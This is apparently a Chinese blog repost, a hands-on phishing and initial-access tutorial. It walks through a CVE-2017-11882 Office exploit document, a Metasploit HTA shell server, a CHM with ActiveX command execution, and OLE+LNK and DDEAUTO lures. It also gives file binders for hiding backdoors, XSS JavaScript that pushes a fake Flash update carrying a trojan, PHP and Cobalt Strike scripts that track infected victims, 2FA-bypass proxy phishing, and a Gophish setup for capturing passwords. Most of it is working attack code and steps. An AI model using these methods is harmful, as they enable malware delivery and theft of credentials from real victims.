    这个功能的本意是为了更方便地在 word 里同步更新其它应用的内容,比如说在一个 word 文档里引用了另一个 excel 表格里的某项内容,通过连接域 (Field) 的方式可以实现在 excel 里更新内容后 word 中同步更新的效果,问题出在这个域的内容可以是一个公式 (或者说表达式),这个公式并不限制内容。

    GitHub:

    https://github.com/Ridter/CVE-2017-11882

    使用:

    python Command109b_CVE-2017-11882.py -c"cmd.exe /c calc.exe"-otest.doc

    生成 test.doc 文档,靶机打开。成功弹出加算器

    1640090248_61c1ca88978c67b7f1d7a.png!small?1640090266724

    msf 复现。

    项目

    https://github.com/0x09AL/CVE-2017-11882-metasploitexploit/windows/fileformat/office_ms17_11882

    有点不稳,老是上线不了

    1640090269_61c1ca9d6f1b39d414266.png!small?1640090287593

    配合 HTA上线

    exploit/windows/misc/hta_server
    http://192.168.2.148:8080/IbsbCdtZ.ht

    1640090283_61c1caabaedc094c94726.png!small?1640090301823

    靶机打开test2.doc直接上线

    1640090316_61c1cacc60d1344a86781.png!small?1640090334551

    CHM 电子书

    CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。

    制作CHM需要用到一个工具 EasyCHM(http://www.etextwizard.com/)

    新建一个html文件,编码格式ANSI,向里面写入如下内容

    <!DOCTYPE html><html><head><title>Mousejack
    replay</title><head></head><body>
    command exec
    <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
    width=1 height=1>
    <PARAM name="Command" value="ShortCut">
    <PARAM name="Button" value="Bitmap::shortcut">
    <PARAM name="Item1" value=',cmd.exe,/c calc.exe'> 
    //这一排用于执行命令,注意 cmd.exe 前后都有,或者<PARAM name="Item1"
    value=',powershell.exe,-c calc.exe'>也行
    <PARAM name="Item2" value="273,1,1">
    </OBJECT>
    <SCRIPT>
    x.Click();
    </SCRIPT>
    </body></html>

    用easychm,新建-浏览-选择html文件所在目录-编译

    1640090373_61c1cb05d2ea64aae1a9b.png!small?1640090392112

    生成一个chm,双击,打开了计算器

    1640090381_61c1cb0de8015d66f8829.png!small?1640090400134

    office OLE+LNK

    核心目标是创建一个内嵌的lnk文件诱导用户点击,从而执行命令。word,excel都能使用

    我们创建一个快捷方式如下

    1640090397_61c1cb1d5b586fe57053a.png!small?1640090415471

    其目标处填写的是

    %SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe -command calc

    然后打开word文件,插入对象,选择package,为了更加逼真勾选显示为图标,然后可以更改图标,我们在更改图标处选择一个迷惑性比较大的图标

    1640090408_61c1cb28bdcb95cec2acb.png!small?1640090426889

    然后进入创建软件包界面,选择我们刚刚创建的lnk文件,写好卷标名,然后就把软件包插入到word界面了,只要用户点击该软件包并选择执行,则会执行我们在lnk中定义的代码

    1640090415_61c1cb2ff08fc89addfeb.png!small?16400904340901640090424_61c1cb3842271dc778340.png!small?16400904423521640090429_61c1cb3d50a52f3661a0f.png!small?1640090447566

    捆绑文件

    K8免杀系统自带捆绑器加强版V2.0.EXE

    超级文件捆绑器

    1640090445_61c1cb4d7ed38cdbc2678.png!small?1640090463542

    生成,执行之后会执行cmd.exe一样的效果,但此时后门软件也被执行了。

    Word DDE

    在word文件里,输入 ctrl+F9,进入到域代码编辑。我们可以键入以下代码使文件在被打开时执行系统命令(word2019复现未成功,word2016成功,似乎是word版本问题
    这个蛮实用的,目前众多word是默认禁用宏的,dde只需要用户点击两个按钮即可执行,实用性比宏好

    DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"

    随后在打开该文件时会出现两个对话框,全点是就会执行以上命令了

    1640090458_61c1cb5a3f60d43408bec.png!small?16400904763001640090463_61c1cb5fce66233f23609.png!small?16400904819021640090468_61c1cb64f3de7d0383279.png!small?1640090487083

    XSS、SSRF钓鱼

    利用XSS漏洞钓鱼

    XSS最常见的利用就是获取cookie。

    通过XSS漏洞, 可以插入各种js代码,来实现钓鱼操作。

    一些在线的XSS平台(最好自己搭建),也可以进行一些简单的xss钓鱼操作。

    BeEF工具,利用xss漏洞也挺好用

    XSS钓鱼的一些思路:https://www.sqlsec.com/2020/10/xss2.html

    两个案例:https://cloud.tencent.com/developer/article/1517803

    https://www.freebuf.com/vuls/228042.html

    SSRF钓鱼

    案例: https://www.freebuf.com/vuls/229694.html

    鱼竿部署

    使用鱼竿,以判断目标是否上钩、哪些目标上钩。

    xss钓鱼,cna插件配合php后端收杆:

    https://github.com/timwhitez/Doge-XSS-Phishing(具体看flash钓鱼实例)

    https://github.com/TheKingOfDuck/XSS-Fishing2-CS

    企业微信上线:

    eval.js: (鱼钩)

    var body = document.body;
    var _left =  window.innerWidth * 0.3 + 'px';
    var _top = window.innerHeight * 0.3 + 'px';
    var _height = window.innerHeight;
    body.innerHTML=`<div style="background-color: white;height: ${_height}px"><div style='position:absolute;top:${_top};left:${_left};height:300px;600px;'><img src='http://192.168.111.252/Phishing/sdp.png' style='margin:3px;'>
         <p><h3 >喔唷,崩溃啦!</h3></p >
         <p style='color:gray'>显示此网页时出了点问题,请在您的页面上启用显示插件,从而可能会有所帮助。</br></p >
         <a href='http://*.*.*.*/xxx.exe'>
         <button style='margin-left:85%;height:30px;line-hight:30px;outline:none;border:none;background-color:rgb(26,115,232);color:white'  >立即修复</button></a>
         </div></div>
         `;
    	 
    

    1640139081_61c28949c07fc86dae13e.png!small?1640139081076

    xss.php: (鱼竿)

    <?php
    $xssPayload = file_get_contents("eval.js");
    $db = "botIPs.txt";
    
    $ip = $_SERVER["REMOTE_ADDR"];
    $botIP = @$_GET['ip'];
    
    if ($botIP != 'NULL') {
        echo $botIP;
    }
    
    if (!is_null($botIP)) {
        $bots = fopen($db, "a") or die("Unable to open bots file!");
        fwrite($bots, base64_encode($botIP) . "\n");
        fclose($bots);
    
        $url = 'https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=********************';
        $data = array("msgtype" => "text", "text" => array("content" => "New Bot Online:" . $botIP));
    
        $postdata = json_encode($data);
    
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
        $result = curl_exec($ch);
        curl_close($ch);
        print_r($result);
    
    } 
    else{
    
        if (file_exists($db)) {
            $line = file_get_contents($db);
            $botIPs = explode("\n", $line);
        }
    
    
        if (@in_array(base64_encode($ip), $botIPs)) {
            header('Content-type: text/javascript');
            echo "var hb;";
        } else {
            #header('Content-type: text/javascript');
            #echo $xssPayload;
    		echo "<html><meta http-equiv='Content-Type' content='text/html;charset=utf-8' /><body><script language=javascript>$xssPayload</script></body></html>";
    		#<script src="eval1.js" type="javascript"></script>
        }
    }
    
    ?>
    
    
    

    sendIp.cnd :(鱼竿)

    on beacon_initial {
        $webhook = "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=*****************************";
        local('$externalIP $computerName $userName');
        $externalIP = replace(beacon_info($1, "external"), " ", "_");
        $computerName = replace(beacon_info($1, "computer"), " ", "_");
        $userName = replace(beacon_info($1, "user"), " ", "_");
    
        $message = 'New Bot Online: \n\n Computer name:'.$computerName.'\n\nUsername:'.$userName.'\n\nexternalIP:'.$externalIP;
    
    
    	$xssApi = "http://39.*.*.*/xss.php?ip=".$externalIP;
        @curl_command = @('curl', '-X', 'GET', $xssApi);
        exec(@curl_command);
    
    
    }

    两种:

    用户名密码  收杆  —>  gophish (会显示操作系统和浏览器版本信息)(看下面实例)

    CS 上线   收杆   —>   cna插件配合PHP后端收杆

    其他情况

    双因子验证

    idea:

    1640139198_61c289be087a84d374b17.png!small?1640139197307

    Muraena、NecroBrowser工具

    http://blog.itpub.net/31559985/viewspace-2647951/

    原理:

    大多数人所熟悉的传统网络钓鱼攻击是由虚假登录页面组成的,这些页面在攻击者控制的web服务器上,并由与目标网站名称相似的自定义域名提供服务。然而,这种静态攻击对使用双因素身份验证的在线服务无效,因为没有与合法网站进行交互来触发生成一次性代码。没有这些代码,攻击者就无法使用钓鱼凭证登录。
    为了绕过2FA,攻击者需要让他们的钓鱼网站充当代理,代表受害者转发请求到合法网站,并实时回传。最终目标不仅是为了获取用户名和密码,而是真正网站用来关联登录账号的活动会话令牌(也被称为会话cookie)。通过将这些会话cookie放在浏览器中,可以直接访问与它们关联的帐户,而不需要进行身份验证。

    Muraena、NecroBrowser是如何工作的:

    Muraena是用Go编程语言编写的,这意味着它可以在任何Go可用的平台上被编译和运行。一旦部署完成,攻击者就可以配置他们的钓鱼域名,并为其获得合法的证书——例如,通过非营利性的Let's Encrypt证书颁发机构。
    该工具包含一个充当反向代理的小型web服务器和一个爬虫程序。该爬虫程序可以自动确定从合法网站代理哪些资源。代理在传递来自受害者的请求之前重写这些请求。
    爬虫程序会自动生成一个JSON配置文件,然后可以手动修改该文件来绕过更复杂网站上的各种防御机制。该软件包包括对谷歌、GitHub和Dropbox的示例配置文件。
    一旦受害者登陆一个由Muraena提供支持的钓鱼网站,登录过程就会和真正的网站完全一样。网站会要求用户输入他们的2FA验证码。当他们提供验证码并完成身份验证之后,代理会窃取会话cookie。
    会话令牌通常由浏览器存储在一个文件中,并在后续请求中提供服务。这种方法可以使网站自动向浏览器提供一段时间内不需要密码登陆而(会话长度)访问帐户的权限。Muraena可以自动将收集到的会话cookie传送给它的第二个组件NecroBrowser,而NecroBrowser可以立即开始滥用这些cookie。
    NecroBrowser是一个可以通过API进行控制的微服务,进行配置以后可以通过在Docker容器内运行的Chromium无头实例执行操作。根据可用的服务器资源,攻击者可以同时生成数十个或数百个这样的容器,每个容器都有一个从受害者那里窃取的会话cookie。
    僵尸浏览器实例执行的操作可以完全自动化。例如,根据账户类型的不同,可以对电子邮件进行截屏、启动密码重置、将恶意密钥上传到GitHub或者在邮箱添加恶意转发地址。浏览器实例还可以用来收集社交网络上联系人和朋友的信息,甚至可以通过类似蠕虫的攻击向这些朋友发送钓鱼信息。

    muraenahttps://github.com/muraenateam/muraena

    NecroBrowser : https://github.com/muraenateam/necrobrowser

    实例

    XSS+Flash钓鱼

    原理

    在目标会访问的网站上,利用JS精心构造页面诱导用户下载木马。

    条件:

    1、情况一,目标网站存在存储型XSS漏洞,构造JS让用户下载flash;情况二,克隆一个视频网站,诱导受害者访问,访问时通过JS提示用户下载更新flash。

    2、一个免杀木马,免杀效果一定要有,总不能落地就被杀了吧

    3、购买一个迷惑性的域名,如 http://www.f1ash.cn/(这里测试,就不买了)

    4、上线通知和自动收杆插件,避免一直盯着页面,上钩后还要卸载页面。

    参考:

    flash页: https://github.com/r00tSe7en/Fake-flash.cn

    JS :  https://github.com/timwhitez/Doge-XSS-Phishing

    鱼竿:https://github.com/TheKingOfDuck/XSS-Fishing2-CS

    文章:https://xz.aliyun.com/t/7958

    实现

    鱼钩隐藏:

    XSS:

    直接在视频网站插入这个js文件即可

    <script src="/test.js"></script>

    .js 需要注意下面这几个点:

    1.判断UA,电脑端才加载exe,android则加载apk

    2.向后台API发送查询,是否上钩了,是的话不加载,不是的话加载

    3.js一定要注意混淆和命名,采用原生ajax,兼容性会更好

    test..js:

    var returnCitySN = {"cip": "0.0.0.0", "bobo": "000000"};
    //document.write("<script src='http://pv.sohu.com/cityjson?ie=utf-8'></script>");
    document.write("<script src='http://192.168.111.234/flash_phish_test/XSS-Phishing/bobo.php?getaddr=123'></script>");
    
    
    //上线检测
    function isRise(ip,bobo) {
        var xmlHttp;
        if (window.XMLHttpRequest) {
            xmlHttp = new XMLHttpRequest();
        } else {
            xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlHttp.open("GET", "http://192.168.111.234/flash_phish_test/XSS-Phishing/bobo.php?search="+ip, "true");
        xmlHttp.send();
        xmlHttp.onreadystatechange = function() {
    		//alert(xmlHttp.responseText)
            if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
                var resData = xmlHttp.responseText;
                if (resData == "in" && bobo == "111111") {
                } else {
    				document.write("<script src='http://192.168.111.234/flash_phish_test/XSS-Phishing/bobo.php?bobo=1'></script>");
                    download();
                }
            }
        }
    }
    
    //下载
    function download(){
        alert("您的FLASH版本过低,请尝试升级后访问该页面!");
        window.location.href="http://192.168.111.234/flash_phish_test/fake_flash/";
    }
    
    //判断是否是PC
    function isPc() {
        if (navigator.userAgent.match(/(iPhone|Android)/i)) {
            return false;
        } else {
            return true;
        }
    }
    
    //load,ipbase64编码后,传递给后端
    window.onload = function(){
        if(!isPc()){
            alert("当前页面只能在电脑PC端中加载,请稍后重试...");
        }else{
            isRise(returnCitySN["cip"], returnCitySN["bobo"]);
        }
    }
    

    钓鱼网站(flash):

    这里直接下载源码部署在本地了

    1640139366_61c28a6609188a980b4dd.png!small?1640139365357

    修改下载路径:

    1640139375_61c28a6fea83ab61a98a5.png!small?1640139375199

    木马:

    将免杀CS马与正常flash按照程序绑定,放在本地

    这里使用自解压的方法伪造,再使用reshacker更改一下图标

    最终效果如下:

    1640139385_61c28a79293ce86871f99.png!small?1640139384480

    (flash.exe+muma.exeà自解压配置à修改图标)

    鱼竿感知:

    cna插件配合php后端收杆

    搭建bobo.php, 路径为http://www.xxx.com/bobo.php

    <?php
    
    $db = "botIPs.txt";
    $addr = $_SERVER["REMOTE_ADDR"];
    
    header('Access-Control-Allow-Origin: *');
    header("Access-Control-Allow-Credentials: true");
    
    
    if(isset($_GET['getaddr'])){
    	header('Content-type: text/json; charset=utf-8');
    	if (isset($_COOKIE['bobo'])){
    		echo 'var returnCitySN = {"cip": "'.$addr.'", "bobo":"111111"};';
    		}
    		else{
    			echo 'var returnCitySN = {"cip": "'.$addr.'", "bobo": "000000"};';
    		}
    }
    if(isset($_GET['bobo'])){
    	setcookie("bobo","bobo", time()+3600*240);	
    }
    
    
    if(isset($_GET['ip'])){
    	$botIP = @$_GET['ip'];
    	$line = file_get_contents($db);
    	$botIPs = explode("\n", $line);
    	if (@in_array(base64_encode($botIP), $botIPs)) {
    		echo "ip exist";
    	}else {
    		$bots = fopen($db, "a") or die("Unable to open bots file!");
    		fwrite($bots, base64_encode($botIP) . "\n");
    		fclose($bots);
    	}
    }
    
    
    if(isset($_GET['search'])){
    
    	$ip = @$_GET['search'];
    
    	if (file_exists($db)) {
    		$line = file_get_contents($db);
    		$botIPs = explode("\n", $line);
    		if (@in_array(base64_encode($ip), $botIPs)) {
    			echo "in";
    		}else {
    			echo "bobo";
    		}
    	}
    }
    ?>
    

    在php根目录新建botIPs.txt文件用于存储已上线ip

    使用cobalt strike 的agscript加载cna插件

    1640139430_61c28aa67168562bcdc73.png!small?1640139429704

    ./agscript [host] [port] [user] [password] [/path/to/sendip.cna]

    等待上线即可

    上线之后,相同IP再次访问,不会弹框

     

    效果演示

    部署好网站。

    在CS目录运行:

    ./agscript [host] [port] [user] [password] [/path/to/sendip.cna]

    1640139458_61c28ac26ce361052fa31.png!small?1640139457690

    1、访问视频网站提示

    1640139479_61c28ad791dee1f27eeb2.png!small?1640139478798

    2、点击确定,跳转到flash下载界面

    1640139501_61c28aedacbaab847d4aa.png!small?1640139500970

    3、 点击下载,会下载绑有木马的flash安装程序,但是用户无感知

    1640139506_61c28af28ca53521cc856.png!small?1640139505843

    4、受害者运行exe,上线

    1640139514_61c28afacf5e83a382507.png!small?1640139514303

    Gophish+EwoMail钓鱼

    Gophish

    安装

    下载:

    wget https://github.com/gophish/gophish/releases/download/v0.11.0/gophish-v0.11.0-linux-64bit.zip

    解压:

    unzip gophish-v0.11.0-linux-64bit.zip

    1640139527_61c28b07ab6509fb88dff.png!small?1640139527180

    修改config.json 中 127.0.0.1 为 0.0.0.0 。

    80端口代表钓鱼网站开放的端口;后台管理页面开放的端口是3333

    1640139537_61c28b112d800fa9ee1c5.png!small?1640139536556

    修改权限,运行

    chmod +x gophish

    ./gophish

    访问https://IP:3333/

    可能会提示证书不正确,依次点击高级—继续转到页面,输入默认账密进行登录:admin/gophish

    也有可能不是默认密码,在vps启动./gophish之后,会在命令行中给出一个临时密码,用临时密码登录之后再设置新的密码。

    1640139548_61c28b1c8d6e5b311cc74.png!small?1640139547804

    访问钓鱼界面:

    打开浏览器,访问http://ip:80/由于我们还未配置钓鱼页面,提示小段的404 page not found说明运行正常

    1640139561_61c28b29351699e1f728e.png!small?1640139560437

    Gophish搭建完成

    1640139569_61c28b3145c6e2374fc0e.png!small?1640139568496

    功能

    进入后台后,左边的栏目即代表各个功能,分别是Dashboard仪表板、Campaigns钓鱼事件、Users & Groups用户和组、Email Templates邮件模板、Landing Pages钓鱼页面、Sending Profiles发件策略六大功能

    1640139580_61c28b3c7ea74d9ab92b2.png!small?1640139579809

    1. User & Groups 用户和组

    Users & Groups的作用是将钓鱼的目标邮箱导入gophish中准备发送

    点击New Group新建一个钓鱼的目标用户组。

    Name:Name 是为当前新建的用户组命名。

    Bulk Import Users:Bulk Import Users是批量导入用户邮箱,它通过上传符合特定模板的CSV文件来批量导入目标用户邮箱点击旁边灰色字体的Download CSV Template可以下载特定的CSV模板文件。其中,模板文件的Email是必填项,其余的Frist Name、Last Name、Position可选填。

    Add:除了批量导入目标用户的邮箱,gophish也提供了单个邮箱的导入方法,这对于开始钓鱼前,钓鱼组内部测试十分方便,不需要繁琐的文件上传,直接填写Email即可,同样其余的Frist Name、Last Name、Position可选填。

    1640139603_61c28b535cbb6829eb88e.png!small?1640139602659

    2、Email Templates 钓鱼邮件模板

    创建相应的钓鱼邮件模板 此处钓鱼模板可直接进行编辑,也可导入其他邮箱的模板。

    Name:同样的,这个字段是对当前新建的钓鱼邮件模板进行命名。

    Import Email:gophish为编辑邮件内容提供了两种方式,

    第一种就是Import Email,用户可以先在自己的邮箱系统中设计好钓鱼邮件,然后发送给自己或其他伙伴,收到设计好的邮件后,打开并选择导出为eml文件或者显示邮件原文,然后将内容复制到gophish的Import Email中,即可将设计好的钓鱼邮件导入。

    这里直接在 QQ 邮箱打开一封信,点击显示原文们就可以复制,导入,粘贴进去。

    效果:

    1640139619_61c28b63a38013da5d314.png!small?1640139619365

    需要注意,在点击Import之前需要勾选上Change Links to Point to Landing Page,该功能实现了当创建钓鱼事件后,会将邮件中的超链接自动转变为钓鱼网站的URL。

    Subject:Subject 是邮件的主题,通常为了提高邮件的真实性,需要自己去编造一个吸引人的主题。

    内容编辑框:内容编辑框是编写邮件内容的第二种模式,内容编辑框提供了Text和HTML两种模式来编写邮件内容,使用方式与正常的编辑器无异。其中HTML模式下的预览功能比较常用到,在编辑好内容后,点击预览,就可以清晰看到邮件呈现的具体内容以及格式。

    Add Tracking Image:Add Tracking Image 是在钓鱼邮件末添加一个跟踪图像,用来跟踪受害用户是否打开了收到的钓鱼邮件。默认情况下是勾选的,如果不勾选就无法跟踪到受害用户是否打开了钓鱼邮件(注:跟踪受害用户是否点击钓鱼链接以及捕捉提交数据不受其影响)Add Files:Add Files 是在发送的邮件中添加附件,一是可以添加相关文件提高邮件真实性,二是可以配合免杀木马诱导受害用户下载并打开

    当填写完以上字段后,点击Save Template,就能保存当前编辑好的钓鱼邮件模板。

    3.Landing Pages 钓鱼页面

    配置好钓鱼邮件后,就可以通过LandingPages模块来新建钓鱼网站页面,此处支持手写 html文件,也可通过导入网站功能。

    Name:Name 是用于为当前新建的钓鱼页面命名。

    Import Site:gophish为钓鱼页面的设计提供了两种方式,

    第一种则是Import Site,点击Import Site后,填写被伪造网站的URL,再点击Import,即可通过互联网自动抓取被伪造网站的前端代码。

    内容编辑框是编辑钓鱼页面的第二种方法,但是绝大多数情况下,它更偏向于用来辅助第一种方法,即对导入的页面进行源码修改以及预览。

    (重点)Capture Submitted Data:

    通常,进行钓鱼的目的往往是捕获受害用户的用户名及密码,因此,在点击Save Page之前,记得一定要勾选Capture Submitted Data当勾选了Capture Submitted Data后,页面会多出一个Capture Passwords的选项,显然是捕获密码。通常,可以选择勾选上以验证账号的可用性。如果仅仅是测试并统计受害用户是否提交数据而不泄露账号隐私,则可以不用勾选另外,当勾选了Capture Submitted Data后,页面还会多出一个Redirect to,其作用是当受害用户点击提交表单后,将页面重定向到指定的URL。可以填写被伪造网站的URL,营造出一种受害用户第一次填写账号密码填错的感觉(一般来说,当一个登录页面提交的表单数据与数据库中不一致时,登录页面的URL会被添加上一个出错参数,以提示用户账号或密码出错,所以在Redirect to中,最好填写带出错参数的URL)

    这里克隆DVWA登录界面做演示

    1640139659_61c28b8be244caa162288.png!small?1640139659165

    填写好以上参数,点击Save Page,即可保存编辑好的钓鱼页面

    4、Sending Profiles 发件策略

    Sending Profiles的主要作用是将用来发送钓鱼邮件的邮箱配置到gophish。

    点击New Profile新建一个策略,依次来填写各个字段。填写刚才新建的发送邮箱地址和用户名.

    Name:Name字段是为新建的发件策略进行命名,不会影响到钓鱼的实施。

    Interface Type:Interface Type 是接口类型,默认为SMTP类型且不可修改,因此需要发件邮箱开启SMTP服务,但是大部分机器 smtp 的 25 端口被禁用了,因此需要配置成 465 端口。

    From:From 是发件人,即钓鱼邮件所显示的发件人。(在实际使用中,一般需要进行近似域名伪造).

    Host:Host 是smtp服务器的地址,格式是smtp.example.com:25.

    Username:Username 是smtp服务认证的用户名.Password:Password 是smtp服务认证的密码.

    (可选)Email Headers:Email Headers 是自定义邮件头字段,例如邮件头的X-Mailer字段,若不修改此字段的值,通过gophish发出的邮件,其邮件头的X-Mailer的值默认为gophish

    正常配置应该类似这样:

    1640139678_61c28b9e092ecc63d1516.png!small?1640139677401

    (但是这里未搭建EwoMail,也没买域名,用QQ邮箱转发测试)

    进去QQ邮箱-》设置-》账户-》开启 POP3/SMTP服务

    1640139710_61c28bbe04f04f40af237.png!small?1640139709618

    用户和from 都填 qq 邮箱账号

    密码填授权码

    1640139725_61c28bcdd36f438f1b565.png!small?1640139725206

    1640139732_61c28bd4e13070fb5537f.png!small?1640139732210

    成功发送:

    1640139741_61c28bddca3ed994f8907.png!small

    5、  Campaigns

    创建任务发送钓鱼邮件,可设置分批发送邮件(Launch Date)

    1640139767_61c28bf754180d69a4f73.png!small?1640139766636

    管理页面,可以看到成功发出2封邮件。

    1640139775_61c28bffe7d67263ed6a8.png!small?1640139775484

    受害者成功收到钓鱼邮件点击链接打开输入了账号及密码,点击了login,之后钓鱼页面自动跳转到真正的系统

    1640139784_61c28c083f6d19d4745a3.png!small

    再次刷新Gophish后台,可以看到结果:

    1640139804_61c28c1c33bc34fc756cf.png!small?16401398035011640139870_61c28c5ee8aae3e349034.png!small?16401398703621640139892_61c28c74428afe72d6c20.png!small?1640139891540

    参考

    https://xz.aliyun.com/t/6763

    https://xz.aliyun.com/t/5412

    https://xz.aliyun.com/t/6325

    https://xz.aliyun.com/t/7958

    https://xz.aliyun.com/t/10339

    https://paper.seebug.org/1329/

    https://www.freebuf.com/articles/web/227694.html

    https://www.freebuf.com/articles/network/267251.html

    https://www.freebuf.com/articles/web/258184.html

    https://www.freebuf.com/articles/web/263612.html

    https://www.freebuf.com/articles/web/260391.html

    https://www.freebuf.com/articles/network/276463.html

    https://www.anquanke.com/post/id/231444

  • 相关阅读:
    jquery加入购物车飞入的效果
    jQuery点击div其他地方隐藏div
    移动对meta的定义
    ZOJ
    博弈dp入门 POJ
    ZOJ 2967计算几何+单调栈
    牛客训练41D最小相似度bfs
    球的体积并
    二进制上的数位dpPOJ 3252
    数位dp入门 HDU 2089 HDU 3555
  • 原文地址:https://www.cnblogs.com/yokan/p/15748583.html
Copyright © 2020-2023  润新知